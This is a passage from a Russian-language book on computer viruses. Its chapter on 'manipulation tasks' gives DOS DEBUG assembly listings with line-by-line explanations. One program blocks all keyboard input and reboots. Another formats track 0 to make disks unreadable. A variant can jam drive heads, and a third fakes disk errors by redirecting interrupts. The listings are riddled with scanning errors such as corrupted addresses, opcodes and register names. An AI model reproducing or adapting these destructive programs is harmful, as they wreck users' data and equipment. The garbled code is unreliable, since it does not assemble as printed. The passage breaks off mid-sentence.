получить вирус в результате случайного изменения программы, точно ни-
как нельзя рассчитать, также никак нельзя рассчитать, также как нельзя
точно указать, насколько при известных обстоятельствах (в зависимости
от программного окружения) может сократиться произвольно названием Ко-
хеном длина вируса.
14. Задания на выполнение манипуляций
В этой главе ставится вопрос: "Как далеко можно зайти в такой
публикации?" Эта книга ни в коем случае не должна послужить путеводной
нитью для саботажников. Тем не менее автор решился в этой главе опуб-
ликовать несколько программ "создания хаоса". Во всех приведенных ниже
распечатках речь идет о деструктивных программах или о программах, ко-
торые могут быть использованы для этих преступных целей. Но поскольку
программа сама по себе не может быть ни хорошей, ни "зловредной", все
зависит исключительно от ответственности того, кто работает с такими
программами.
Не в последнюю очередь исходили из того, чтобы показать слабые
- 265 -
места, что позволило бы их обойти. А если возможно причинить вред
компьютерной системе программным путем повредив ее функцию, то речь
действительно идет о слабых местах такой системы. И прежде всего нужно
учитывать, еасколько коротки бывают программы-вирусы.
14.1 Сломать проще всего
Тот, кто знает о сложности компьютерных систем, всегда удивляется
тому, что ожидаемый отказ системы происходит совсем не часто. А ведь
даже одного отдельного бита в оперативной памяти может привести к пре-
рыванию работы. А потому чрезвычайно легко такого рода ошибку сгенери-
ровать. Отказ системы представляется пользователю ситуацией, когда не
удается вызвать извне программу обычным порядком. Либо ввод игнориру-
ется полностью, либо ввод приводит к совершенно иному, неожиданному
результату. Пользователям бытовых компьютеров более старого типа из-
вестны красочные отказы системы, которыми эти приборы "радуют" своих
обладателей время от времени. Сегодня все чаще сталкиваются с "тихими"
отказами, когда компьютер отказывается от приема любой входной инфор-
мации. Это объясняется изменившейся структурой аппаратных средств. Ес-
ли раньше процессор сам должен был заботиться об изображении на экране
и о выводе звуковых сигналов, то сегодня эти задачи переданы специаль-
ным чипам. Потому отказ прежних моделей бытовых компьютеров выглядели
на экране или в звуковом сопровождении куда более эффектно.
Важно различать два вида отказов системы. "истинные" отказы сис-
темы совершенно не поддаются контролю, и невозможно определить, какие
части программы выполнены процессором. Отказы такого рода обусловлены
загрузкой слишком многих резидентных программ, ошибками в программах
или аппаратными сбоями.
"Смоделированные" отказы внешне выглядят так же, но не являются
полностью неконтролируемыми. Они происходят внутри определенных задач,
которые не поддаются контролю со стороны пользователя. Такими задачами
могут быть форматирование жестких дисков, стирание секторов или мани-
пуляции с файлами. В результате того, что все контрольные функции пе-
редаются пользователем системе, невозможно прервать запущенный про-
цесс. Это можно сделать лишь путем аппаратного сброса или путем отклю-
чения питания. Но пока это удастся сделать, пройдет несколько секунд,
которых в любом случае достаточно для того, чтобы разрушить все записи
каталога жесткого диска.
Основной задачей при генерации отказа является блокировка любого
ввода с клавиатуры или возможности прерывания с клавиатуры. Потому
здесь нужно различать несколько этапов:
- 266 -
1) Блокируются возможности прерывания процессов "изнутри" программы.
2) Блокируется прерывание с помощью клавиш ^c.
3) Блокируется прерывание с помощью клавиш Аlt, Соntrоl, DEL.
4) Отвергаются все виды прерываний.
Четвертую форму вряд ли можно реализовать на обычных системах,
поскольку установку можно отключить просто по питанию. Правда, сущест-
вует аварийное питание, которое при отказе сети позволяет продолжать
работу еще в течение примерно 15 минут. Но, поскольку здесь использу-
ется дополнительное устройство, можно просто вынуть штекер блока ава-
рийного питания.
Но все три другие формы фатального сбоя можно сгенерировать до-
вольно просто. В первом случае исключить программную обработку сигна-
лов соответствующих клавиш прерывания. Эту форму, безусловно, нет не-
обходимости подробно. И блокировка клавиш Соntrоl - C не представляет
собой слишком сложную задачу.Это можно сделать описания "Вreaк ОFF" в
соnfig. sys или на командном уровне. Еще эффективнее переключение ин-
терфейса консоли на левое устройство. В этом случае буфер клавиатуры
также не заполнеяется. Лишь для блокировки функций Аlt, Сtrl и Del от
программиста требуется немного больше умения.
Программа, распечатка которой приводится ниже, блокирует любой
ввод с клавиатуры. Невозможен и "горячий" запуск. В остальном система
остается полностью работоспособной. Такую можно ввести с помощью dевyg
и хранить под именем nовreak.com.
2le4:0100 b435 mov ah,35
2le4:0102 b004 mov al,04
2le4:0104 cd21 int 21
21e4:0106 8cco mov ax,es
2le4:0108 89da mov dx,bx
2le4:010a 8td8 mov ds,ax
2kt4:010c B425 mov ah625
2kt4:010t b009 mov al,09
2lt4:0110 cd2l int 2l
2lt4:0112 b80000 mov ax,0000
2kt4:0115 cd2l int 2l
Пояснение функции программы:
считывается вектор прерывания 4. Это чаще всего неиспользуемый
вектор. Результат помещается в еs и вх.
2le4:0100 b435 mov all,35
- 267 -
2le4:0102 b004 mov ak,04
2le4:0104 cd2l int 2l
Преобразовать вектор прерывания 9. Это прерывание с клавиатуры. Оно
преобразовывается в вектор переполнения 4. Этот вектор обычно указыва-
ет на команду iret.
В результате любой ввод "перехватывается".
2le4:0106 8cco mov ax,es
2le4:0108 89da mov dx,bx
2le4:010a 8ed8 mov ds,ax
2ke4:010c b425 mov ah,25
2le4:010e b009 mov ak,09
2le4:0110 cd21 int 21
Обычное завершение программы:
2lt4:0112 b80000 mov ax,00000
2le4:0115 cd21 int 21
Если включить njbreak com. в программу пакетной обработки, то можно
убедиться в ее эффективности.
Nobreak
dir *.*
dir *.*/р
Если эту программу запустить, пакетное задание выполняется, причем ни-
коим образои нельзя вмешаться в его выполнение, разве что выключив пи-
тание, вынув штекер сетевого прибора. Если клавиатуры блокируется, это
не всегда является для пользователя недостатком. Для некоторых прило-
жений, когда процесс ни в коем случае нельзя прерывать (прямой доступ
к контроллеру, описанный выше), может иметь смысл блокировка любого
вида прерываний.
14.2 Программное обеспечение против аппаратного
Любая "игрушка" обращается к аппаратным средствам с помощью прог-
рамм. несколько примеров этому уже приводилось в разделе 7.3. Иуже там
возникла проблема: как четко провести границу между аппаратным и прог-
раммным обеспечением. Описанная ниже программа разрушает нулевую до-
рожку дисковода, в результате чего дискета оказывается "нечитабельной"
для dos. Эта программа может также сделать недоступным жесткий диск,
- 268 -
изменив номер дисковода. Если для дискеты можно говорить о программном
обеспечении, для жесткого диска это не всегда так. Во всяком случае
никто не мог бы здесь поспорить. Эту программу также можно ввести с
помощью debug и записать в память под именем kill.com.
197e:0100 b405 mov ah,05
197e:0102 b200 mov dl,00
197e:0104 b600 mov dh,00
197e:0106 b500 mov ch,00
197e:0108 b101 mov cl,01
197e:010a m008 mov al,08
197e:010c cd13 int 13
197e:010e b400 mov ah,00
197e:0110 cd21 int 21
Пояснения к программе:
Загруженное в АН значение 5 означает форматирование дорожки:
197e:0100 b405 mov ah,05
dl содержит номер дисковода, в нашем случае номер 0 = дисковод
А:
197е:0102 b200 моv dl,00
dh содержит номер соответствующей головки. Внашем случае это нулевая
головка:
197е:0104 b600 mov dh,00
СН содержит дорожку. Здесь используется нулевая дорожка:
197е:0106 b500 mov ch,00
ck описывает первый обрабатываемый сектор. Это сектор 1:
197е:0108 b101 mov cl,01
al указывает число подлежащих обработке секторов. Здесь задается 8
секторов, т.е. обработке подлежит вся дорожка:
197е:0101а b008 mov al,08
Прерывание 13 является прерыванием bios, обеспечивающим доступ к дис-
кете:
197Е:010с сd13 int 13
Через прерывание 21 программа завершается обычным порядком:
197е:010е b400 mov ah,00
197e:0110 cd21 int 21
Но с помощью этой программы можно добиться и других эффектов. А имен-
- 269 -
но, если установить задание дорожки на значение за пределами 39, го-
ловка дисковода выйдет за самую внутреннюю дорожку. Для некоторых дис-
ководов это приводит к заклиниванию головки, что можно устранить лишь
механическим путем. Такая программа выглядела бы так:
197е:0100 b405 mov ah,05
197e:0102 b200 mov dl,00
197e:0104 b600 mov dh,00
197e:0106 b580 mov ch,80 !!!!!!!
197e:0108 b101 mov cl,01
197e:010a b008 mov al,08
197e:010c cd13 int 13
197e%010e b400 mov ah,00
197t:0110 cd21 int 21
Подобные "шутки" можно реализовать практически со всеми внешними
устройствами. В заключение можно упомянуть о том, что из-за ошибки в
программировании контроллера 6845 дисплей может закончить свое сущест-
вование. И задача изготовителя исключить такого рода возможности.
14.3 Имитация ошибок
И здесь граница между различными видами манипуляций вполне условна.
И если теперь генерируются сообщения об ошибках, которых обычно не су-
ществует, или если искусственно вызываются сообщения об ошибках dos
или внутренние сообщения программы, различий нет. Приведенная ниже
программа работает так, как это описани в разделе 14.1. Здесь прерыва-
ние bios "переключается" на обращение к дискете.
197e:0100 b435 mov ah,35
197e:0102 b004 mov ak,04
197e:0104 cd21 int 21
197e:0106 8cco mov ax,es
197e:0108 89da mov dx,bx
197e:010a 8ed8 mov ds,ax
197e:010c b425 mov ah,25
197e:010e b013 mov al,13
197e:0110 cd21 int 21
197e:0112 b80000 mov ax,00
197e:0115 cd21 int 21
Принцип действия:
Считывается вектор прерывания 4 (переполнение):
- 270 -
197e:0100 b435 mov all,35
197e:0102 b004 mov al,04
197e%0104 cd21 int 21
Вектор прерывания 13 (обращение к дискете) "переключается" на вектор
прерывания 4. Поскольку это прерывание не описывается в системе, обра-
ботка его не выпоняется:
197e:0106 8cco mov ax,es
197e:0108 89da mov dx,bx
197e:010a 8ed8 mov ds,ax
197e:010c b425 mov ah,25
197e:010e b013 mov al,13
197e:0110 cd21 int 21
Программа завершается с помощью:
197е:0112 m80000 mov ax,00
197e:0115 cd21 int 21
Теперь все последующие обращения к дискете отклоняются. А поскольку
мs-dos ничего не знает о таком отклонении, на жкране появляются самые
различные сообщения об ошибках. Они в значительной степени зависят от
определенного в conig.sys размера буфера, поскольку известные обраще-
ния из буфера обрабатываются не сразу, а лишь после того, как другие
обращений не поступает. Эта программа вполне безобидна, поскольку лишь
имитирует ошибку. Она может принести неприятности лишь тогда, когда
текст ее отредактирован и не может быть записан в память из-за невы-